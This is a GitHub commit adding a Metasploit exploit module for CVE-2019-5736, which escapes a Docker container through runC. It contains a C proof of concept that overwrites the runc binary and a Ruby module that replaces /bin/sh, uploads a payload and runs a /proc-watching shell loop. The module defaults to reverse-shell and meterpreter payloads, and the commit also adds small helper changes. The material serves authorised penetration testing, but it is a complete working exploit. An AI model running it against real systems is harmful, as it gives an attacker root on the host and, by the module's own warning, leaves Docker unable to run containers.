Skip to content

Commit

Permalink
Add exploit module for CVE-2019-5736
Browse files Browse the repository at this point in the history
  • Loading branch information
cdelafuente-r7 committed Apr 28, 2021
1 parent 5d73217 commit 21c3aab
Show file tree
Hide file tree
Showing 4 changed files with 267 additions and 2 deletions.
39 changes: 39 additions & 0 deletions external/source/exploits/CVE-2019-5736/CVE-2019-5736.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
// From https://github.com/feexd/pocs/blob/master/CVE-2019-5736/exploit.c
// gcc -O2 -Wno-unused-result CVE-2019-5736.c -o CVE-2019-5736.x64.bin

#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define PAYLOAD_MAX_SIZE 1048576
#define O_PATH 010000000
#define SELF_FD_FMT "/proc/self/fd/%d"

int main(int argc, char **argv) {
int fd;
char *payload, dest[512];

payload = malloc(PAYLOAD_MAX_SIZE);
if (payload == NULL) return 2;

FILE *f = fopen(argv[2], "r");
if (f == NULL) return 3;
int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f);

for (;;) {
fd = open(argv[1], O_PATH);
if (fd >= 0) {
snprintf(dest, 500, SELF_FD_FMT, fd);
for (int i = 0; i < 9999999; i++) {
fd = open(dest, O_WRONLY | O_TRUNC);
if (fd >= 0) {
write(fd, payload, payload_sz);
break;
}
}
break;
}
}
return 0;
}
9 changes: 7 additions & 2 deletions lib/msf/core/post/common.rb
Original file line number Diff line number Diff line change
Expand Up @@ -84,7 +84,7 @@ def has_pid?(pid)
#
# Returns a (possibly multi-line) String.
#
def cmd_exec(cmd, args=nil, time_out=15)
def cmd_exec(cmd, args=nil, time_out=15, opts = {})
case session.type
when /meterpreter/
#
Expand All @@ -111,7 +111,12 @@ def cmd_exec(cmd, args=nil, time_out=15)
end

session.response_timeout = time_out
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true, 'Subshell' => true })
opts = {
'Hidden' => true,
'Channelized' => true,
'Subshell' => true
}.merge(opts)
process = session.sys.process.execute(cmd, args, opts)
o = ""
# Wait up to time_out seconds for the first bytes to arrive
while (d = process.channel.read)
Expand Down
18 changes: 18 additions & 0 deletions lib/msf/core/post/file.rb
Original file line number Diff line number Diff line change
Expand Up @@ -508,6 +508,24 @@ def rename_file(old_file, new_file)
alias :move_file :rename_file
alias :mv_file :rename_file

#
# Copy a remote file.
#
# @param src_file [String] Remote source file name to copy
# @param dst_file [String] The name for the remote destination file
def copy_file(src_file, dst_file)
if session.type == "meterpreter"
return (session.fs.file.cp(src_file, dst_file).result == 0)
else
if session.platform == 'windows'
cmd_exec(%Q|copy /y "#{src_file}" "#{dst_file}"|) =~ /copied/
else
cmd_exec(%Q|cp -f "#{src_file}" "#{dst_file}"|).empty?
end
end
end
alias :cp_file :copy_file

protected

#
Expand Down
203 changes: 203 additions & 0 deletions modules/exploits/linux/local/docker_runc_escape.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,203 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

Rank = AverageRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

# This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c
PAYLOAD_MAX_SIZE = 1048576

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Docker Container Escape Via runC Overwrite',
'Description' => %q{
This module leverages a flaw in `runc` to escape a Docker container
and get command execution on the host as root. This vulnerability is
identified as CVE-2019-5736. It overwrites the `runc` binary with the
payload and wait for someone to use `docker exec` to get into the
container. This will trigger the payload execution.
!! WARNING !!
- The runc binary will be overwritten and the system will no longer be
able to run Docker containers.
- The shell binary inside the container (set by the OVERWRITE option)
will also be overwritten. However, the module makes a backup prior
the overwrite and should restore it automatically.
},
'Author' => [
'Adam Iwaniuk', # Discovery and original PoC
'Borys Popławski', # Discovery and original PoC
'Nick Frichette', # Other PoC
'Christophe De La Fuente' # MSF Module
],
'References' => [
['CVE', '2019-5736'],
['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'],
['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'],
['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/']
],
'DisclosureDate' => '2019-01-01',
'License' => MSF_LICENSE,
'Platform' => %w[linux unix],
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'Privileged' => true,
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Type' => :unix_memory,
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Type' => :linux_dropper,
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('OVERWRITE', [true, 'Shell to overwrite with /proc/self/exe', '/bin/sh']),
OptString.new('SHELL', [true, 'Shell to use in exploit script (must be different than OVERWRITE shell)', '/bin/bash']),
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
])
end

def check
CheckCode::Appears
end

def encode_begin(real_payload, reqs)
super

return unless target['Type'] == :unix_memory

reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
# Replace any instance of the shell we're about to overwrite with the
# substitution shell.
pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL'])
overwrite_basename = File.basename(datastore['OVERWRITE'])
shell_basename = File.basename(datastore['SHELL'])
# Also, subsitute shell base names, since some payloads rely on PATH
# environment variable to call a shell
pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename)
# Prepend shebang
"#!#{datastore['SHELL']}\n#{pl}"
end
end

def exploit
unless is_root?
fail_with(Failure::NoAccess,
'The exploit needs a session as root (uid 0) inside the container')
end

path = datastore['WritableDir']

shell = datastore['OVERWRITE']
shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}.dat"
print_status("Make a backup of #{shell} (#{shell_bak})")
copy_file(shell, shell_bak)

print_status("Overwrite #{shell}")
write_file(shell, '#!/proc/self/exe')

print_status('Upload payload')
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
if target['Type'] == :unix_memory
vprint_status("Updated payload:\n#{payload.encoded}")
upload(payload_path, payload.encoded)
else
pl = generate_payload_exe
if pl.size > PAYLOAD_MAX_SIZE
fail_with(Failure::BadConfig, "Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes")
end
upload(payload_path, generate_payload_exe)
end

print_status('Upload exploit')
exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
case session.arch
when ARCH_X64
exe = exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')
when ARCH_X86
exe = exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')
else
fail_with(Failure::BadConfig, "The session architecture is not compatible: #{session.arch}")
end
upload_and_chmodx(exe_path, exe)
register_files_for_cleanup(exe_path)

print_status('Upload main shell')
shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
upload(
shell_path,
loop_script(
exe_path: exe_path,
payload_path: payload_path,
shell: shell,
shell_bak: shell_bak
)
)

print_status('Launch exploit loop...')
# TODO: Find a way to make this process running in the background and keep
# the handler around waiting for someone to use `docker exec`
cmd_exec('/bin/bash', shell_path, 600, 'Subshell' => false)
print_status('Done')
end

def upload(path, data)
print_status("Writing '#{path}' (#{data.size} bytes) ...")
write_file(path, data)
register_file_for_cleanup(path)
nil
end

def loop_script(exe_path:, payload_path:, shell:, shell_bak:)
<<~SHELL
while true; do
for f in /proc/*/exe; do
tmp=${f%/*}
pid=${tmp##*/}
cmdline=$(cat /proc/${pid}/cmdline)
if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then
#{exe_path} /proc/${pid}/exe #{payload_path}&
sleep 3
mv -f #{shell_bak} #{shell}
exit
fi
done
done
SHELL
end
end

0 comments on commit 21c3aab

Please sign in to comment.